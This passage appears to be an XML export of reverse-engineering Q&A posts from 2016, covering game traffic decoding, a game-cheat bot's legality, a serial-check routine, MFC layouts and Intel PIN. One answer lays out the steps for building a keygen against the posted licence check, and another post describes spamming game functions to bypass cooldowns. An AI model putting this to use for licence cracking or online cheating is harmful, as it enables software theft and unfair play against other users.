  <row Id="12374" PostTypeId="1" AcceptedAnswerId="12378" CreationDate="2016-04-08T12:19:20.557" Score="3" ViewCount="301" Body="&lt;p&gt;I'm trying to decode chat strings in a multiplayer game's network traffic; the way it encodes them is seemingly some arbitrary encoding. I've been analyzing the UDP traffic to the server with wireshark. My goal is to find a general algorithm to go from hex back to the original message. I'm able to get the encoded hex result for any string, so here is the most telling pair I've recorded:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the string&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'aaa bbb ccc ddd eee fff ggg hhh iii jjj kkk&#xA; lll mmm nnn ooo ppp qqq rrr sss ttt uuu vvv www xxx yyy zzz AAA BBB CCC'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(newline only for readability)&#xA;The result in the sent packet is this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0020   b9 b0 3c 90 **b0 b0 30 10 31 31 31 90 b1 b1 31 10&#xA;0030   32 32 32 90 b2 b2 32 10 33 33 33 90 b3 b3 33 10&#xA;0040   34 34 34 90 b4 b4 34 10 35 35 35 90 b5 b5 35 10&#xA;0050   36 36 36 90 b6 b6 36 10 37 37 37 90 b7 b7 37 10&#xA;0060   38 38 38 90 b8 b8 38 10 39 39 39 90 b9 b9 39 10&#xA;0070   3a 3a 3a 90 ba ba 3a 10 3b 3b 3b 90 bb bb 3b 10&#xA;0080   3c 3c 3c 90 bc bc 3c 10 3d 3d 3d 90 a0 a0 20 10&#xA;0090   21 21 21 90 a1 a1 a1** 2a 66 10 04 20 02 34 5a 42&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ive marked where I think the relevant data is with asterisks.&#xA;As you can see, it seems that &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a = b0, b = 31&#xA;c = b1, d = 32&#xA;e = b2, f = 33&#xA;g = b3, h = 34&#xA;i = b4, j = 35&#xA;k = b5, l = 36&#xA;m = b6, n = 37&#xA;o = b7, p = 38&#xA;q = b8, r = 39&#xA;s = b9, t = 3a&#xA;u = ba, v = 3b&#xA;w = bb, x = 3c&#xA;y = bc, z = 3d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This isn't a 1:1 encoding however. Here the character for space is either 90 or 10, and it has an influence on the encoding of the previous(?) character. I'm unaware of any other characters affecting the encoding like this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the encoding for the string 'the cat is back'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hex:       3a b4 32 90 b1 30 3a 90 b4 39 10 b1 b0 b1 35 90 &#xA;desired:   t  h  e     c  a  t     i  s     b  a  c  k    &#xA;actual:    t  e  d     c  ?  t     i  r     c  a  c  j&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Spaces have an influence on more than just the previous character here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a pattern here? What is going on? Any help or guesses are welcome.&lt;/p&gt;&#xA;" OwnerUserId="15692" LastActivityDate="2016-04-08T15:59:41.143" Title="Is this a known encoding or cipher? (multiplayer game network traffic)" Tags="|strings|networking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12376" PostTypeId="1" CreationDate="2016-04-08T14:23:43.203" Score="1" ViewCount="189" Body="&lt;p&gt;I spent some time reversing game client of one popular game. Found out multiple functions, ways to make character move, attack, reversed structures containing world data, and so created logic which makes the character grind effectively 24/7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the legal questions come in. I've read tiny bit about dmca, the glider bot case, but in the end, if i dont share the knowledge of internal game structure, i do not modify (crack, dump) the executeable, just load a dll which calls appropriate functions and reads memory containing surrounding world information, is it illegal? What if i would like to distribute (sell) it to bigger audience?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And second question. If the game is really buggy and leaves many decission to client side (so the server takes things on belief), and so i can make the character move and hit 10 times faster by spamming function calls, is it considered as illegal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider game has a function&#xA;auto AttackMonster = (int(__fastcall*)(MonsterContainer*, void*, int monsterIndex))HardcodedAddressIFoundByReversing;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And so calling it repeatidly causes client to send attack request to server without performing the attack speed / cooldown checks, resulting in the character killing everything in a light speed granting huge advantage over other players. What about legality with this one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to sum up: All my bot does is: load implant, read memory, call functions from game executeable. No patching no dumping ( no &quot; illegal things &quot; i'd like to say... :) )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for answers and clarification&lt;/p&gt;&#xA;" OwnerUserId="15693" LastActivityDate="2016-04-08T15:27:21.810" Title="Legal issue - Game Bot calling functions of copyrighted game" Tags="|memory|executable|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ClosedDate="2016-04-08T20:36:46.730" ContentLicense="CC BY-SA 3.0" />
  <row Id="12377" PostTypeId="2" ParentId="12376" CreationDate="2016-04-08T15:27:21.810" Score="0" Body="&lt;p&gt;I don't believe there is any LEGAL issues with what you're doing so long as you don't publish / distribute anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are of course breaking the EULA, so do expect to get banned if they catch you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to clarify, I'm not a lawyer so don't take anything I say for certain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This sounds pretty hilarious if what you say is true. I'm curious as to what &quot;popular game&quot; has such horrible security. &lt;/p&gt;&#xA;" OwnerDisplayName="user15338" LastActivityDate="2016-04-08T15:27:21.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12378" PostTypeId="2" ParentId="12374" CreationDate="2016-04-08T15:59:41.143" Score="7" Body="&lt;p&gt;Writing your example, &lt;code&gt;aaa b&lt;/code&gt; in binary, and as well the encoded string, &lt;code&gt;0xb0 0xb0 0x30 0x10 0x31&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       a        a        a      ' '        b&#xA;01100001 01100001 01100001 00100000 01100010&#xA;&#xA;10110000 10110000 00110000 00010000 00110001&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it looks like every byte of the encoded string being the original byte shift right by one bit, with the last bit of the &lt;em&gt;next&lt;/em&gt; byte copied to the high order bit of the current byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, let's reverse this: if we take your encoded string, &lt;code&gt;3a b4 32 90 b1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00111010 10110100 00110010 10010000 10110001&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;shift each byte left one bit, and replace the low order bit with the high order bit from the previous byte, we get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01110100 01101000 01100101 00100000 01100011 ...&#xA;      74       68       65       20       63 ...&#xA;       t        h        e      ' '        c ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-04-08T15:59:41.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12379" PostTypeId="1" CreationDate="2016-04-08T16:09:33.833" Score="5" ViewCount="1256" Body="&lt;p&gt;So I am looking for a list of instructions that implicitly do stuff like reading or writing to registers. Obvious ones would be&lt;/p&gt;&#xA;&#xA;&lt;p&gt;push/pop modifies esp, pushad accesses all&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I'm sure there are more. Does someone know of a comprehensive list?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: By implicitly I mean registers that are not explicitly mentioned in the arguments or the opcode. (except eflags)&lt;/p&gt;&#xA;" OwnerUserId="2808" LastEditorUserId="2808" LastEditDate="2016-04-08T16:25:11.183" LastActivityDate="2016-06-17T14:47:21.800" Title="xcList of x86/x64 instructions that implicitly access registers" Tags="|disassembly|x86|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12380" PostTypeId="2" ParentId="12379" CreationDate="2016-04-08T16:23:53.387" Score="1" Body="&lt;p&gt;This list is going to contain most of the instructions in the instruction set because most of the instructions modify flags or registers in some way (the 'mov' instruction being one that doesn't). The flags that are accessed for conditional jumps are stored in the EFLAGS register. You can find the information you're looking for by looking at the &lt;a href=&quot;http://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-instruction-set-reference-manual-325383.pdf&quot; rel=&quot;nofollow&quot;&gt;Intel manual&lt;/a&gt; - read the section on the operation of each instruction. &lt;/p&gt;&#xA;" OwnerUserId="118" LastActivityDate="2016-04-08T16:23:53.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12381" PostTypeId="2" ParentId="12320" CreationDate="2016-04-08T17:26:03.643" Score="1" Body="&lt;p&gt;Did this happen when debugging a 64-bit application? Because there you get exactly this message  - at least in Windows - when you try to start the Ida remote server to debug a program without admin privilege:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;IDA Windows 64-bit remote debug server(MT) v1.15. Hex-Rays (c) 2004-2012&#xA;Can not set debug privilege: Not all privileges or groups referenced are assigned to the caller.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With 64 bit debugging this is relevant, as there the use of the remote server is mandatory, even when debugging locally. You must not forget to start it as administrator, otherwise you get the mentioned error message in the servers window. Trying to attach to a process anyway causes Ida to present the following message box:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aJFxR.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aJFxR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tested in Ida 64-bit, V6.3&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2016-04-08T17:26:03.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12382" PostTypeId="1" CreationDate="2016-04-08T17:32:30.927" Score="1" ViewCount="889" Body="&lt;p&gt;Friends: i am trying to reverse engineer a CMS desktop application with the objective to make another with better functionallity; that CMS application contains 32 Dll´s; the idea is instead of create a whole new appliclation is to understand those Dll´s and use them to make new better one; but i need to map the whole situation: the functions a classes that those Dll´s use are available to be checked using ida or ollydbg, most of them functions are called between programs and Dlls, so my questios is to know if is there a tool live viual studio does with a proyect, that can show me the whole Dlls, its functions and clases so i can try to understand the program from the point of view of their use, instead from the disassembly.&#xA;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="15529" LastActivityDate="2016-04-08T17:32:30.927" Title="Reverse Engineering a whole project desktop application" Tags="|tools|dll|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12383" PostTypeId="1" AcceptedAnswerId="12384" CreationDate="2016-04-08T20:23:52.287" Score="-1" ViewCount="254" Body="&lt;p&gt;I reverse engineered a program protection algorithm and got the result in this source file I wrote, but I would know this type of protection.&#xA;Please tell me what is the type of this protection ? And is there any ability to create a keygen of this algorithm ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;char* transformStrip = &quot;123456789ABCDEFGHIJKLMNPQRSTUVWXYZ&quot;;&#xA;&#xA;char* myusername = &quot;MYUSERNAME&quot;;&#xA;char* myserial   = &quot;MYSERIAL33222222222222222&quot;;&#xA;&#xA;//OK&#xA;int TransformChar(char c)&#xA;{&#xA;    for(int i=0;i&amp;lt;0x22;i++)&#xA;    {&#xA;        if(transformStrip[i] == c)&#xA;            return i;&#xA;    }&#xA;    return 0;&#xA;}&#xA;&#xA;//OK&#xA;bool MagicCalculator1(char* magicBuffer, int number)&#xA;{&#xA;    int a = 0;&#xA;    //int rez = 0;&#xA;    for (int i=0;i&amp;lt;0x20;i++)&#xA;    {&#xA;        int rez = (unsigned char)magicBuffer[i];&#xA;        rez *= number;&#xA;        rez += a;&#xA;        magicBuffer[i] = (unsigned char)rez;&#xA;        if(rez &amp;gt;= 0x100)&#xA;        {&#xA;            a = rez;&#xA;            if(a &amp;lt; 0)&#xA;                a += 0xFF;&#xA;            a &amp;gt;&amp;gt;= 8;&#xA;        }else&#xA;            a = 0;&#xA;    }&#xA;    return (bool)a;&#xA;}&#xA;&#xA;bool MagicCalculator2(char* magicBuffer, int position)&#xA;{&#xA;    int a = 0;&#xA;    for (int i=0;i&amp;lt;0x20;i++)&#xA;    {&#xA;        int rez = magicBuffer[i];&#xA;        a += rez;&#xA;        rez = position + a;&#xA;        magicBuffer[i] = (char) rez;&#xA;        position = 0;&#xA;        if(rez &amp;gt;= 0x100)&#xA;        {&#xA;            a = rez;&#xA;        }else&#xA;            a = 0;&#xA;&#xA;    }&#xA;    return (bool)a;&#xA;}&#xA;&#xA;// sizeof(magicBuffer) = 0x20&#xA;// OK&#xA;int SerialMagicGenerator(char* serial, char* magicBuffer, int number)&#xA;{&#xA;    int serialLength = strlen(serial);&#xA;    if (serialLength &amp;lt;= 0)&#xA;        return 0;&#xA;&#xA;    for(int i=0;i&amp;lt;serialLength;i++)&#xA;    {&#xA;        char c = serial[i];&#xA;        if (c != '\x20' &amp;amp;&amp;amp; c != '\x2D')&#xA;        {&#xA;            int pos = TransformChar(c);&#xA;            if (MagicCalculator1(magicBuffer, number))&#xA;                return -1;&#xA;            if (MagicCalculator2(magicBuffer, pos))&#xA;                return -1;&#xA;        }&#xA;    }&#xA;    return 0;&#xA;}&#xA;&#xA;unsigned short MagicValidator(char* combinedBuffer, int number)&#xA;{&#xA;    int c = 0;&#xA;    if(number)&#xA;    {&#xA;        for(int i=0;i&amp;lt;number;i++)&#xA;        {&#xA;            int rez = ((unsigned char) combinedBuffer[i]) &amp;lt;&amp;lt; 8;&#xA;            c ^= rez;&#xA;            for(int j=0;j&amp;lt;8;j++)&#xA;            {&#xA;                if(c &amp;amp; 0x8000)&#xA;                {&#xA;                    c += c;&#xA;                    c ^= 0x1021;&#xA;                }else&#xA;                    c &amp;lt;&amp;lt;= 1;&#xA;            }&#xA;        }&#xA;    }&#xA;    unsigned short s = (unsigned short) ( ((c &amp;amp; 0xFF) &amp;lt;&amp;lt; 8) | ((c &amp;amp; 0xFF00) &amp;gt;&amp;gt; 8) );&#xA;    return s;&#xA;}&#xA;&#xA;bool UsernameMagicVerifier(char* randomizedUsername, char* magicBuffer)&#xA;{&#xA;    char combinedBuffer[0x20];&#xA;    memset(combinedBuffer, 0, 0x20);&#xA;    memcpy(combinedBuffer, randomizedUsername, 0x10);&#xA;    memcpy(combinedBuffer + 0x10, magicBuffer, 0x10);&#xA;    unsigned short mustHaveValue = (unsigned short) (MagicValidator(combinedBuffer, 0x1E) &amp;amp; 0x7FFF);&#xA;    unsigned short foundValue =    (unsigned short) ((*(unsigned short*) (magicBuffer + 0xE)) &amp;amp; 0x7FFF);&#xA;    return (mustHaveValue == foundValue);&#xA;}&#xA;&#xA;bool FinalizerVerifier(void*a, void*b)&#xA;{&#xA;    //assuming this always returns true&#xA;    return true;&#xA;}&#xA;&#xA;char RandomizedUsernameBuffer[0x10];&#xA;&#xA;char* RandomizeUsername(char* username)&#xA;{&#xA;    memset(RandomizedUsernameBuffer, 0, 0x10);&#xA;    int usernameLength = strlen(username);&#xA;    if(usernameLength &amp;gt;= 1)&#xA;    {&#xA;        if(usernameLength &amp;lt; 0x10)&#xA;        {&#xA;            int size = (usernameLength &amp;gt;&amp;gt; 2) * 4;&#xA;            memcpy(RandomizedUsernameBuffer, username, size);&#xA;            memcpy(RandomizedUsernameBuffer + size, username + size, usernameLength &amp;amp; 3);&#xA;            if( usernameLength + 1 &amp;lt; 0x10 )&#xA;            {&#xA;                char* ptr;&#xA;                ptr = RandomizedUsernameBuffer + size + (usernameLength &amp;amp; 3) + 1;&#xA;                for(int i=0;ptr&amp;lt;RandomizedUsernameBuffer+0x10;ptr++)&#xA;                {&#xA;                    if( username[i] != '\0')&#xA;                    {&#xA;                        *ptr = username[i];&#xA;                        i++;&#xA;                    }else&#xA;                        i = 0;&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;    return RandomizedUsernameBuffer;&#xA;}&#xA;&#xA;bool SerialChecker(char* username, char* serial)&#xA;{&#xA;    char magicBuffer[0x20];&#xA;    memset(magicBuffer, 0, 0x20);&#xA;    char* randomizedUsername = RandomizeUsername(username);&#xA;    SerialMagicGenerator(serial, magicBuffer, 0x22);&#xA;    if ( UsernameMagicVerifier(randomizedUsername, magicBuffer) )&#xA;    {&#xA;        return FinalizerVerifier(/*?*/NULL, /*?*/NULL);&#xA;    }&#xA;    return false;&#xA;}&#xA;&#xA;int main()&#xA;{&#xA;    SerialChecker(myusername, myserial);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15697" LastEditorUserId="15697" LastEditDate="2016-04-08T20:33:05.997" LastActivityDate="2016-04-09T12:11:27.900" Title="Can a keygen be created for this protection algorithm?" Tags="|c|crackme|protection|" AnswerCount="1" CommentCount="0" ClosedDate="2016-04-10T07:04:03.717" ContentLicense="CC BY-SA 3.0" />
  <row Id="12384" PostTypeId="2" ParentId="12383" CreationDate="2016-04-08T21:17:19.030" Score="4" Body="&lt;p&gt;Short, slightly snarky answer: yes, there must be a way to make a keygen. If there wasn't, the creators of the software themselves wouldn't be able to create keys to sell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Longer answer: If the software vendor wants the encryption to be non-identifiable for people who have reversed the decryption part, they need to use some assymetric key algorithm, where the public key is embedded into the software, and the private key stays with the vendor. There are well-known algorithms, and corresponding libraries, to do that, like RSA. However, those are not used in your program, once because they are too big, and also because they contain lookup tables which make them easily identifiable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a first glance at your algorithm, there's nothing much happening that's too difficult to reverse. Your &lt;code&gt;RandomizeUserName&lt;/code&gt; just seems to shuffle the bits of the user name in the same way that the keygen would; your &lt;code&gt;MagicCalculator&lt;/code&gt; functions seem to check if the serial number is well-formed, for some definition of well-formed. Then, &lt;code&gt;MagicValidator&lt;/code&gt; calculates what looks like a 16-bit CRC on the 16 bytes username + 14 first bytes of the serial, then compares that to bytes 15/16 of the serial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, a keygen would have to:&#xA;- perform the same calculation on a username that your &lt;code&gt;RandomizeUserName&lt;/code&gt; does&#xA;- invent 14 bytes of serial&#xA;- generate the CRC from the randomized user name + serial, and put it into bytes 15/16&#xA;- append 16 more bytes to the serial in a way that &lt;code&gt;MagicCalculator1&lt;/code&gt; and 2 are satisfied (return 0), choose any bytes you want to achieve this&#xA;- undo &lt;code&gt;SerialMagicGenerator&lt;/code&gt; to get a serial that includes blanks and dashes just like &lt;code&gt;SerialMagicGenerator&lt;/code&gt; does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, with a bit of experimenting and trial-and-error, it should be very well possible to make a key generator for this.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Side note:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I pondered for a while if it is morally ok to help someone with what&#xA;  is clearly a precursor to software theft. Assuming, in the first&#xA;  place, that the OP hasn't tried to invent a protection algorithm&#xA;  himself, and opened this question to check how &quot;strong&quot; his protection&#xA;  is. Unfortunately, even now in 2016, there seem to be lots of&#xA;  programmers - and college spits out more of them every year - who&#xA;  think that &quot;shuffle a few bits around, pepper with some self-invented&#xA;  maths, and compile to machine language&quot; makes whatever they want to&#xA;  achieve hard to crack. Of course, we of RE.SE all know it doesn't.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In this case, the OP obviously isn't too experienced in reversing, or&#xA;  he wouldn't have asked the question; still, he arrived at a point&#xA;  where he's obviously 1-2 hours away from a working keygen. In&#xA;  answering the question the way I did, i hope to make it obvious that&#xA;  all the bit-shuffling in the &quot;protection&quot; algorithm won't help much.&#xA;  &lt;strong&gt;If you want to prevent people from creating key generators for your software, use asymmetric encryption, and make sure your private key&#xA;  doesn't get leaked&lt;/strong&gt;, and if only one future &quot;software protection&#xA;  coder&quot; reads this example and learns from it, then my answer will have&#xA;  served its purpose.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="8679" LastEditDate="2016-04-09T12:11:27.900" LastActivityDate="2016-04-09T12:11:27.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12385" PostTypeId="1" AcceptedAnswerId="12392" CreationDate="2016-04-08T21:47:57.723" Score="4" ViewCount="5102" Body="&lt;p&gt;I have an old computer game I want to reverse (Windows 95 &quot;Hover!&quot; to be exact), and I figured out that it uses the MFC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HexRays often decompiles pseudocode like this, which, for example, deals with an MFC class &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/48xz4yz9.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;CWinThread&lt;/code&gt;&lt;/a&gt;:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/iRS4F.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iRS4F.png&quot; alt=&quot;IDA MFC code pseudocode&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the variable &lt;code&gt;this&lt;/code&gt; is the &lt;code&gt;CWinThread&lt;/code&gt; instance, but the layout of it seems undefined, it accesses its members through offsets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want / need to find out which members are at which offsets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even while easy to guess in the marked example (+48 seems to be the peeked message), there's another member slightly more below at offset +60 about which I have no clue. I searched the MSDN documentation and looked into the header file to find a layout of the class, but couldn't find anything that helped me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where would I retrieve such member / memory layout information about MFC classes?&lt;/p&gt;&#xA;" OwnerUserId="6957" LastEditorUserId="245" LastEditDate="2016-04-12T17:51:13.327" LastActivityDate="2019-12-30T20:35:41.057" Title="Reversing an MFC application: How to find class memory layouts?" Tags="|hexrays|mfc|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12387" PostTypeId="2" ParentId="12385" CreationDate="2016-04-09T05:13:41.987" Score="0" Body="&lt;p&gt;One way would be to get your hand on a copy of the compiler that was used to produce the binary, including the stock libraries that shipped with it - ideally the exact same version, or at least as close as possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can simply compile suitable little test programs and load them into IDA for inspection and/or in order to export the type info and import it into the IDA database for your binary. Single struct defs can easily be transported via the clipboard (display as C struct, copy, switch to the other IDA, paste).&lt;/p&gt;&#xA;" OwnerUserId="10027" LastActivityDate="2016-04-09T05:13:41.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12388" PostTypeId="1" CreationDate="2016-04-09T07:27:34.657" Score="1" ViewCount="265" Body="&lt;p&gt;How can i get a full memory dump of a running specific process from kernel mode by driver on windows operation system?&lt;/p&gt;&#xA;" OwnerUserId="12454" LastEditorUserId="4154" LastEditDate="2016-04-26T17:32:16.293" LastActivityDate="2016-04-26T18:05:42.297" Title="How get a full memory dump of a running specific process from kernel mode by driver?" Tags="|debugging|c|kernel-mode|driver|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12389" PostTypeId="1" AcceptedAnswerId="12390" CreationDate="2016-04-09T10:48:52.847" Score="4" ViewCount="1811" Body="&lt;p&gt;The intel PIN manual (section Memory Reference Trace) says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We also use &lt;code&gt;INS_InsertPredicatedCall&lt;/code&gt; instead of &lt;code&gt;INS_InsertCall&lt;/code&gt; to&#xA;  avoid generating references to instructions that are predicated when&#xA;  the predicate is false &lt;a href=&quot;https://software.intel.com/sites/landingpage/pintool/docs/76991/Pin/html/index.html#MAddressTrace&quot; rel=&quot;nofollow&quot;&gt;see here.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;_&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When the instruction has a predicate and the predicate is false, the&#xA;  analysis function is not called &lt;a href=&quot;https://software.intel.com/sites/landingpage/pintool/docs/76991/Pin/html/group__INS__INST__API.html#g446df8cbefd4950b78cba7c9e7346053&quot; rel=&quot;nofollow&quot;&gt;see here.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I want to analyze all instructions that are actually executed, which of the two shall I pick?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume &lt;code&gt;INS_InsertPredicatedCall&lt;/code&gt; but I am not sure because I have seen &lt;code&gt;INS_InsertCall&lt;/code&gt; more often. But why would somebody use it, i.e., why would somebody want to analyze instructions &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;that are predicated when the predicate is false&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;? Maybe a minimal example of how the two functions lead to different results would be helpful here...&lt;/p&gt;&#xA;" OwnerUserId="11830" LastEditorUserId="11830" LastEditDate="2016-04-09T17:46:40.273" LastActivityDate="2016-04-10T05:07:10.497" Title="Intel PIN: InsertPredicatedCall and INS_InsertCall" Tags="|assembly|x86|instrumentation|pintool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12390" PostTypeId="2" ParentId="12389" CreationDate="2016-04-09T17:14:11.377" Score="3" Body="&lt;p&gt;You are correct, we should use &lt;code&gt;INS_InsertPredicatedCall&lt;/code&gt; instead of &lt;code&gt;INS_InsertCall&lt;/code&gt; in your case. It is quite intuitive to distinguish one from the other, consider the following code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cond:&#xA;  xor eax, eax&#xA;  mov edx, 0x1&#xA;  cmp word [esp + 0x4], 0x5&#xA;  cmovz eax, edx&#xA;  ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;whose &lt;code&gt;C&lt;/code&gt; code is something likes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int cond(int input)&#xA;{&#xA;  return input == 0x5 ? 1 : 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you use &lt;code&gt;INS_InsertCall&lt;/code&gt; to trace executed instructions of &lt;code&gt;cond(input)&lt;/code&gt;, then &lt;strong&gt;for any value&lt;/strong&gt; of &lt;code&gt;input&lt;/code&gt;, you observe always the trace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xor eax, eax&#xA;mov edx, 0x1&#xA;cmp word [esp + 0x4], 0x5&#xA;cmovz eax, edx&#xA;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if you use &lt;code&gt;INS_InsertPredicateCall&lt;/code&gt;, then for &lt;code&gt;input != 0x5&lt;/code&gt;, you will observe only:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xor eax, eax&#xA;mov edx, 0x1&#xA;cmp word [esp + 0x4], 0x5&#xA;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;since &lt;code&gt;cmovz&lt;/code&gt; is a predicated instruction, it is executed only if &lt;code&gt;ZF = 1&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="1619" LastEditDate="2016-04-10T05:07:10.497" LastActivityDate="2016-04-10T05:07:10.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12391" PostTypeId="1" CreationDate="2016-04-09T23:51:37.147" Score="1" ViewCount="2426" Body="&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to decrypt or unpack a .dat file to know its value. here is the file &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mega.nz/#!woUXAaiY!LfJgSuW6uZudQjelIWEepc8TmUP2aTrUdyVh0gg4KHc&quot; rel=&quot;nofollow&quot;&gt;download here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When opened in notepad the text would look like these: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UOSEDALB        @(                                                                     &amp;amp;&#xA;  Ü&#xA;8Ïq&quot;Ê¹zd&#xA;#ÅÁLŒô¨8\Jõ^ŒMÿf2 #¯N&amp;gt;¶„¼ÌQ^1C”[8¦ 9ÙÞb![ÒyîÜG#Ž¥n¸õ?ïIÐ±áá¾¥™pG’&#xA;æ°Üóbûû­vêØ¢2BKˆ—+Õ/v»XT’‚'Ç]|Véé{&amp;amp;î}ÐÃd­6z;¢éÊ¨ÿS÷úm™¼ #“åd„\HŽ    ¢;$‹ hý€t²'ùjÈ&amp;amp;Í—“‡Rö×&amp;amp;Ôoz…ÉL·ûY·roùˆÝÐ]ÄËDyjÕ[òô!+ØZÎ“ž]àFì0Í+]6†i„ŸƒxÉ´„o''&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a tool to unpack this .dat file, I'm 